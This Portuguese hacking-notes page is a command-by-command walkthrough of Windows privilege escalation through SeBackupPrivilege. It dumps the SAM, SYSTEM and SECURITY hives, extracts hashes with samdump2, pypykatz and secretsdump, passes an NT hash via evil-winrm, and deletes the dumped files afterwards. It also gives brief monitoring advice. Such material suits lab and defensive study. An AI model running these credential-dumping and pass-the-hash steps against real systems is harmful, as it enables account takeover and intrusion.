> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/windows-vulnerabilities/token-privileges/sebackupprivilege-windows-privilege-escalation.md).
# SeBackupPrivilege
`SeBackupPrivilege` permite que arquivos protegidos sejam lidos em um contexto de backup. Em um laboratório, esse privilégio pode ser usado para copiar `SAM` e `SYSTEM`, em seguida, extrair hashes de contas locais offline.
## Detecção
```powershell
whoami /priv
```
## Carregue os módulos
{% embed url="" %}
```powershell
faça upload de SeBackupPrivilegeCmdLets.dll
faça upload de SeBackupPrivilegeUtils.dll
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```
## Exporte SAM e SYSTEM
```cmd
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system
```
Baixe os arquivos:
```powershell
baixe sam
baixe system
```
## Extraia os hashes
```bash
samdump2 system sam
```
Alternativa:
```bash
pypykatz registry system --sam sam
```
## Valide com Pass-the-Hash
```bash
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```
## Pontos-chave
* `SeBackupPrivilege` é sensível mesmo sem filiação direta ao grupo de administradores locais.
* Exportar `SECURITY` também quando você quiser segredos do LSA ou material de domínio em cache.
* Monitore exportações de hives do registro e acesso a arquivos de sistema protegidos.
## Extração com Impacket
O Impacket pode analisar os hives salvos offline:
```cmd
reg save HKLM\SAM C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
reg save HKLM\SECURITY C:\Windows\Temp\security.save
```
```bash
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
```
## Limpeza
```cmd
del C:\Windows\Temp\sam.save
del C:\Windows\Temp\system.save
del C:\Windows\Temp\security.save
```
---
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